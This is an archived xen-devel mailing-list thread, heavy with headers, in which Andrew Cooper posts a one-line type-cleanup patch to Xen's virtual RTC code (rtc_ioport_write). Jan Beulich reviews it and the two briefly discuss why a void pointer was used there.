         KxpHeozvAXwKAm387W3laRdIKKE60uj1NDiq7cN+ux/YMQD7wV9OGGkRM+TLdOP+XpA8
         AuLKqxYKxuU6DHpAA8VoZ6zotLWXkWL0qxwrbqsXgVHF2VaHwbEX50fWV/bV4BOLRl+1
         HmjSZXoGwJZrqW8XhlUtkreiIjytEb5tPuiWGcIVLNLmiw+PqpcZKMmuJRbosJXnMpcq
         mbCuTjk2kE3c5x9T1y3Pb/TPzkTmbL7KX6HEc3g8Xqsh6Vhd9xzyoy332b1lMqYUGM/D
         Hgxg==
X-Gm-Message-State: AOJu0YyPMieSLx7yPSViPaFRV49uiTQV6BSH8hNripOHlKivwFABcYmQ
	0PR9wZ7rGQmhm4LQu8M2p01cKXzqa6mzkngElYMdHVgE1bjPq1MtmmGyC4vDT+6okTdwhxIgTHc
	1SvdY
X-Gm-Gg: AR+sD10b09SC5m2gKtwP1Tfh9JNnRn0ye+yqXfZWCuNbnCa0GA3qJvia4ipRt3T40Gx
	g6DRYzyWwea5uqJl5YGZ5kQNLXsLVBwxvmlozxMIfElkg2iMxcasP9A0p/aL3Wcuk09zurcd6/B
	4K1vG41h04pb5NXJO0d6GfSrU5nVlOBzf9DxUAgnyctTPMC4ipIWiLMV10R5SgY7TH+luxf3Vpp
	Biw7Qv4An8EoMX2sRmEaTBt+JWze72arNh+TICzqTfYm/QDzAnowRt/IhJaTv+wQ7VQpIkZQFqv
	0aM6I7mzAYFEeHSxlgc+fLm8OToPM/yyOwRFKjIEC0b+0XrD0CdrAhA3nkGhCMhkqNpsPPjPF3X
	rSeoawc3YwECXabFtwciNoACdVLtKKKw5uilupCnLh8Wv9VlI+a0njlZjN1pj7Qa/mKsSdDzCOZ
	v9dvYdUBgzvEMOE4Y3ATqUGuEYtZYVRFAIohGpVXPowCAthcCK7cdvnQcWCOLLmKH/6jQWBh2CU
	+TWxja6JYm6uIScov2CO7SCVvz98sEG2+OvKJY=
X-Received: by 2002:a05:600c:4f86:b0:496:c933:c276 with SMTP id 5b1f17b1804b1-496c933c2afmr12997745e9.25.1785241899731;
        Tue, 28 Jul 2026 05:31:39 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH] x86/vrtc: Use a real type for rtc_ioport_write()
Date: Tue, 28 Jul 2026 13:31:37 +0100
Message-Id: <20260728123137.41861-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1785241900-CCF4F87B-88FBD152/0/0
X-purgate-type: clean
X-purgate-size: 860

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Jan Beulich <jbeulich@suse.com>
CC: Roger Pau MonnÃ© <roger@xenproject.org>
CC: Teddy Astie <teddy.astie@vates.tech>
---
 xen/arch/x86/hvm/rtc.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/xen/arch/x86/hvm/rtc.c b/xen/arch/x86/hvm/rtc.c
index 65b3b79f1edb..9895dd570c65 100644
--- a/xen/arch/x86/hvm/rtc.c
+++ b/xen/arch/x86/hvm/rtc.c
@@ -469,9 +469,8 @@ static void cf_check rtc_alarm_cb(void *opaque)
     spin_unlock(&s->lock);
 }
 
-static int rtc_ioport_write(void *opaque, uint32_t addr, uint32_t data)
+static int rtc_ioport_write(RTCState *s, uint32_t addr, uint32_t data)
 {
-    RTCState *s = opaque;
     struct domain *d = vrtc_domain(s);
     uint32_t orig;
 

base-commit: 75f920bd47a4f59eaaa4596aa3f4e12a447d26d2
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:37:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:37:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1373904.1620835 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woh3M-0000S1-EP; Tue, 28 Jul 2026 12:37:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1373904.1620835; Tue, 28 Jul 2026 12:37:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woh3M-0000Ru-Bn; Tue, 28 Jul 2026 12:37:00 +0000
Received: by outflank-mailman (input) for mailman id 1373904;
 Tue, 28 Jul 2026 12:36:58 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woh3K-0000Ro-Rx
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 12:36:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woh3K-00Eifh-8V
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:36:58 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68a265-2eae-0a2a0a5409dd-0a2a450bb4aa-22
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:36:58 +0200
Received: from [209.85.221.41] (helo=mail-wr1-f41.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68a269-b7e8-0a2a450b0019-d155dd29a42d-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:36:57 +0200
Received: by mail-wr1-f41.google.com with SMTP id
 ffacd0b85a97d-4758bd3731bso851334f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 05:36:57 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85b9a5c4sm57916152f8f.8.2026.07.28.05.36.55
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 05:36:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785242217; x=1785847017; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=P2nqhC2tw2mRg2UHz1ZzRZrAVNDSJZBaFwlKGXSCV3Y=;
        b=XHXXmpEGqr1M0i+aHsAH21iAwBd4wyohB3xpsWqUCRuEwkfUYO/7ObwBmPXI+MRwrb
         6dGBQ5BHatrxvB4fOi3UPpOU0dzUl2T7irGA9R7tsjmuL+fFhX0Tw2AePCpyRD6WEerz
         NYIYx+uvnzOveo8zmu5zcLEiov0Bl+q3WNPjGfrfAR9NENcrL5dDLKTW6Pg8EmbsUxBI
         0gQrAaGj0baS0Li3iW2iQJdqf0YvR+vqZWc8+ag0DrGURtRfq+eMdeH9qeYsXkR4mibm
         K8FFHzvM6iprC70SgL+GLOHS98kdKGt0kpNOcppp+7aeOGMqBxhSk9SiHQfs3fyaTgVx
         rIRg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785242217; x=1785847017;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=P2nqhC2tw2mRg2UHz1ZzRZrAVNDSJZBaFwlKGXSCV3Y=;
        b=MuHqM/LmfqfJQR8PFzudXdTF1oiuOssDdBx93fJc9zp/k4u3TsrXdIP3hN0ICF7RZx
         ukoJTBZGFx8uyXz3J58d4Thw48vLg6jvEHkr0hQpd8nrnQPGPfoOa0bqQgAfefU9DoTG
         va0ofF5Pfg/20OH4R6J0NP/3C4S9jDVWKuzT7G6IpVg5t+h+PQXVNY9Dnxft5Wl58JSl
         MDbDmld2iAexl7ZYc09D7Sfyl4iiE6wsdhmFbHGT+GVMt521NKU/0QSNQj3pixn5AVrP
         8UDDL+qbkcBmvrgG1iCkraVinb8/mwrBNOAL6eqbKD7NMY4J+LgLXYwVoq6Bs2qaCdWM
         JDGA==
X-Forwarded-Encrypted: i=1; AHgh+RpWlb4E/4O9n5JYuw9c7/XUBdrmO2U+ctSPoxQ9O0/b2gHxYmcqG9n/SHOlhYWH4qhNoNqRMThQ7wM=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw2MxVZIYCDsVYIkgo417y7WnOnQwhkGWGAdJh63P6Ttz497CeQ
	FD+yzxTcWI8TVzrbRT6mBC7naEJD73YkvgRsGfPxpHGzC2SgsbwuJkuGv5fpAQlgxA==
X-Gm-Gg: AR+sD13CQ3toGbgR8EFWYmhVONvmjnap1/GiA1CoiH9+HRc2KbwQyv+7RAK7S0EdrPX
	/vTMECb9daA39zhtS59KItcYDAkM0DCx/fXkliMKcEFXIwJQXCIhp2YwzmK+uhU6cHdyBPit+1P
	EjlMqiW5waNl99SyVdQhpJ6RzhVi6G89HTe5upcoJ3avTm0kN0sMEgA0JmsAl5JwqUs/ZhbsIuk
	VfZ37/SOZeYJ/D74BKXsJJJWbZy4QG142qXhdJRsaogJgZRMYaeVi6n3RZIV7se3YeA5K4hhNFG
	dSd6Mn0H0h8RNPMFIXQuLQGZPqkE7lXNqW5a57VIjFl+UiLBtOiKwlWsrPXgt9AHXZpCru8FkvU
	qbbJ3QiQIjJnGjr/uTnzZ8jYIJotK6G+GrbaJXUZUREB7LXsLOrVdZOKRjRcmVKvEWRzN/mouhf
	g8Ovf1/dIyVLhTYd4BHjFgpJTjlPEEwYW/DDmb2kI+w4qd7VF2YnaPQV46Va8pHjYrHA==
X-Received: by 2002:a05:6000:1ac5:b0:47f:6f2b:4e26 with SMTP id ffacd0b85a97d-47fb1e85773mr2647316f8f.3.1785242216956;
        Tue, 28 Jul 2026 05:36:56 -0700 (PDT)
Message-ID: <b8be4d29-e92e-4ecb-8122-07d370e7c6d1@suse.com>
Date: Tue, 28 Jul 2026 14:36:54 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86/vrtc: Use a real type for rtc_ioport_write()
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Teddy Astie <teddy.astie@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260728123137.41861-1-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSo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AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260728123137.41861-1-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785242217-1AAD89EA-34CFD3AB/0/0
X-purgate-type: clean
X-purgate-size: 714

On 28.07.2026 14:31, Andrew Cooper wrote:
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

Reviewed-by: Jan Beulich <jbeulich@suse.com>

> --- a/xen/arch/x86/hvm/rtc.c
> +++ b/xen/arch/x86/hvm/rtc.c
> @@ -469,9 +469,8 @@ static void cf_check rtc_alarm_cb(void *opaque)
>      spin_unlock(&s->lock);
>  }
>  
> -static int rtc_ioport_write(void *opaque, uint32_t addr, uint32_t data)
> +static int rtc_ioport_write(RTCState *s, uint32_t addr, uint32_t data)
>  {
> -    RTCState *s = opaque;
>      struct domain *d = vrtc_domain(s);
>      uint32_t orig;

It's entirely unclear why it was ever done like this. Even in 3.2 it could
already have been done the type-correct way.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:39:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:39:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1373915.1620844 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woh5n-0001MB-Uf; Tue, 28 Jul 2026 12:39:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1373915.1620844; Tue, 28 Jul 2026 12:39:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woh5n-0001M4-RC; Tue, 28 Jul 2026 12:39:31 +0000
Received: by outflank-mailman (input) for mailman id 1373915;
 Tue, 28 Jul 2026 12:39:31 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1woh5m-0001Ly-Tj
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 12:39:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woh5m-00EIIW-81
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:39:30 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a68a2fb-2eae-0a2a0a5409dd-0a2a450ae7a4-14
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:39:30 +0200
Received: from [40.107.200.22]
 (helo=CH5PR02CU005.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a68a300-f2d2-0a2a450a0019-286bc8169afc-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:39:29 +0200
Received: from CH8PR03MB8276.namprd03.prod.outlook.com (2603:10b6:610:2c1::14)
 by SJ0PR03MB6456.namprd03.prod.outlook.com (2603:10b6:a03:397::7)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Tue, 28 Jul
 2026 12:39:26 +0000
Received: from CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e]) by CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e%3]) with mapi id 15.21.0245.009; Tue, 28 Jul 2026
 12:39:25 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=X4iESyg1h/+4yvap1I2rMmxbfFRWGMqsm52Y3KVqcpQZF9n34AbzHCS8iwd6QK6Kt9pnAiKgfNTkEActZYai/olKX2ZZKEdMiLstRBeYt/6zyBOgw/C2gg41eGLyZC/ubL+vl0WVVpDBxSmtLtfj9Bd4AMGiqbMOYzpJQobyxUu4D2osTnFOPXUB5KDwEQCQ30i8aEB/6r5sq+Ju6hPqZ0zyCqRthGphcVQCon5sedECDX48TJCnvhwWEWfOGbipGuddNZ9Ip86IVMEfNc1cf3jHxAR7nyt4D2PM7Fyu5IluqJlSNVQrp6qEncCjqjf387PkQR9RBNMDe1DvSZQimQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=/pAYhclLHvcCjImLNBCeAPyS/EiAxCznlSJeU+QPvu4=;
 b=kAt+hvX7IeDCOG+ecs7xpjqqrIK7c24W7DrRLTjMhymQVdC6PFQBX5yDJFOxEq346UyrlA1MANa4mWrPl/w8MEKvLOe6V+JwkxdJ+uh6IpbKovHx53PrLE+OKWY+AcH8dDEBQ6S9hVJfMX/Ca+ou3Hgg2fbaRlutVIa88FxbHTIEHxPtxVbZ3DOXn5CKJc3fKhWuOZ6RnDGQCN6ycMS4kriS5Whf+z0+tmRrl8r2iDQzIYhlKX3Cw+PEIi1HJJa5IornUXlDAX4i6guQCUdIHn2ecdZaN/8lRoxYiDFDyfQ724ShEfxXbduylbEockydp08mjaVVscjdm8fPBoC8fw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=/pAYhclLHvcCjImLNBCeAPyS/EiAxCznlSJeU+QPvu4=;
 b=CbYrjZJveaRc2DFL2bzvp2kzmNRfaRiu6G+wUav0A6+Q3AY/W9+DBq2bZm7pAKSak7m9BRuycQxteMm93Z2u2QmEsQv3viEJHYZswAwj0Y/Z4cxSqm+fSGw4IjvpXm8zQHWNL/JX6fLZCq1bjGiH5ot7S9wyvWGeKa0fUiVlQSk=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <89ea45da-dc21-4dc4-b6e6-dc4ac5b2f45d@citrix.com>
Date: Tue, 28 Jul 2026 13:39:22 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Teddy Astie <teddy.astie@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH] x86/vrtc: Use a real type for rtc_ioport_write()
To: Jan Beulich <jbeulich@suse.com>
References: <20260728123137.41861-1-andrew.cooper3@citrix.com>
 <b8be4d29-e92e-4ecb-8122-07d370e7c6d1@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4L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
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <b8be4d29-e92e-4ecb-8122-07d370e7c6d1@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0027.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:151::14) To CH8PR03MB8276.namprd03.prod.outlook.com
 (2603:10b6:610:2c1::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8276:EE_|SJ0PR03MB6456:EE_
X-MS-Office365-Filtering-Correlation-Id: 38785060-6ef2-4d29-369c-08deeca54244
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|366016|1800799024|56012099006|11063799006|4143699003|10067099003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	f3VMX7qe/uXWMTcEtFmVFNVCoIhU8JuqRUKTbAYitJebhH4YIE3cbyvxxj0XpueWBPLNoEfRbP6n+B5E7hFvzrnOGKOdltiU/cy8PiyBHn8C2jxCkSxCiI3iWxJui9UZoS9mJyfTsFKxhq/wCUNaer4hBB8VqTiWZ5QuMIj/myxAcjfjhNSRBNe22wPpJMT+b/Bk1pdEXId9DPYLxDuW4cV6SRI/yk8OSWjbIPsmdRrzmy84701Cc+8ANGsw84s7UsvtmLyYUo1w+rUrIPDAwOXWHzeWQIdx4xg8xc1kavf8r+n+ecv/vowjjr1MQE3q/l1OWsLD1DCm8CuSK+jtqt9R73+q7DUBUq51fUpnM7V1wKu5qa0ha3Y6pHmIcE7zH6zc/T1CBS34sJqSRqbQj5B/yUeUk6rbtxX++lNO0HZwE7beGxGRwAFW86oZ4/yHOvXbxCQNuByGrlJsIeLWr5FOT+fQgEtbQTUyQPHlssTWgP2s4lOUWqiFPjI07I10PZTVaYmLZ6MVbJ3TXqaJlzZazRanOyftnuqUZv2pewUQxdNOgN779N1haF2w6fKXjUMQqHtPJQPPcYdOnggKNO9tCxw+DpQqVXz0N/7vJVaJJxFvhQ2hHiV7+howmBIMsaGJA5jkz6WjYXWkeL8XpylvMYwFDs1xsEKKcSlptDo=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8276.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(376014)(366016)(1800799024)(56012099006)(11063799006)(4143699003)(10067099003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?ZnZqdkk2SnhaSWV4WkdCZWEwSTZTQ29YbE1OemdoVWZneWk1MytydmdTaUty?=
 =?utf-8?B?ZUdXSE5kb3l1ZS8xc3k4K0FiT1c0Wi9DLzIvZy9QOHc2YnpKWWtISWpabmdG?=
 =?utf-8?B?Nkg0d2NnZWRaNG9YRzl4TGN4eE8xdEQ0d2gvcVBIWkxMUlhYQ2Nkd2RicGQz?=
 =?utf-8?B?UHFKRFZSRUgwTUJHU2hkVlY1SkRtbC9VNEg5VHRReDBRbkMwc2dFdGhlR2ZD?=
 =?utf-8?B?WXJHbUYvOXM2QlF6UjI5alA3R3VoWnJoUnFhN2VoWk4rajVGQkpuYlZkckQ3?=
 =?utf-8?B?UXNwejZ5Ti9UNzBPZUNsNHlEY3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f-8?B?d3Y3dU8wS0d5ZFFJUmQ2emZTT2dqV2FHbTZTUGw1emlQeWpEWk5PQ05PT3FE?=
 =?utf-8?B?dHEvdkhPTWlCK0J6Z1hTQ1cwZTdVRmMrcG8wZXUvVmZvY0UxUTl1dnVIc2FP?=
 =?utf-8?B?eDZOa2dQWGN6ejdKUVRoemtWcnVJS01ybFZmVVQ1MFM2TnFHUXhkTzB4TXpJ?=
 =?utf-8?B?ZVVBRjVlQTZuZUFRN3BRNUJuK2J6V05RcER1VitydmhWV1NQN2x6RFF3akgw?=
 =?utf-8?B?OWV3ZVIyQ0doejZ2VW9oTHBKazVjdnpCSWtuNnZxQWQ0c2llOHFPcXpFcDAz?=
 =?utf-8?Q?QGxxXeKX5S2117l0=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 38785060-6ef2-4d29-369c-08deeca54244
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8276.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 12:39:25.9370
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: t3aq3FkjNdaWS0OfkwF9WpGzYZSPtKSeXaWJM5QrcwqcHEuDbcsF6Www0BGaspRH0Opn9D1M8zJa4LwyWVXe15LHBV3TS9omC8tkQnC9vWk=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR03MB6456
X-purgate-ID: tlsNG-4011c0/1785242370-583CCCFC-24A89E62/0/0
X-purgate-type: clean
X-purgate-size: 1044

On 28/07/2026 1:36 pm, Jan Beulich wrote:
> On 28.07.2026 14:31, Andrew Cooper wrote:
>> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
> Reviewed-by: Jan Beulich <jbeulich@suse.com>

Thanks.

>
>> --- a/xen/arch/x86/hvm/rtc.c
>> +++ b/xen/arch/x86/hvm/rtc.c
>> @@ -469,9 +469,8 @@ static void cf_check rtc_alarm_cb(void *opaque)
>>      spin_unlock(&s->lock);
>>  }
>>  
>> -static int rtc_ioport_write(void *opaque, uint32_t addr, uint32_t data)
>> +static int rtc_ioport_write(RTCState *s, uint32_t addr, uint32_t data)
>>  {
>> -    RTCState *s = opaque;
>>      struct domain *d = vrtc_domain(s);
>>      uint32_t orig;
> It's entirely unclear why it was ever done like this. Even in 3.2 it could
> already have been done the type-correct way.

There are a whole bunch of callbacks which use this pattern.Â  They must
continue to use void * for the function types to work.

I wonder if at any point in the past rtc_ioport_write() was used
directly as a pointee, but I haven't gone looking.

~Andrew


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:57:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:57:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1373953.1620853 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
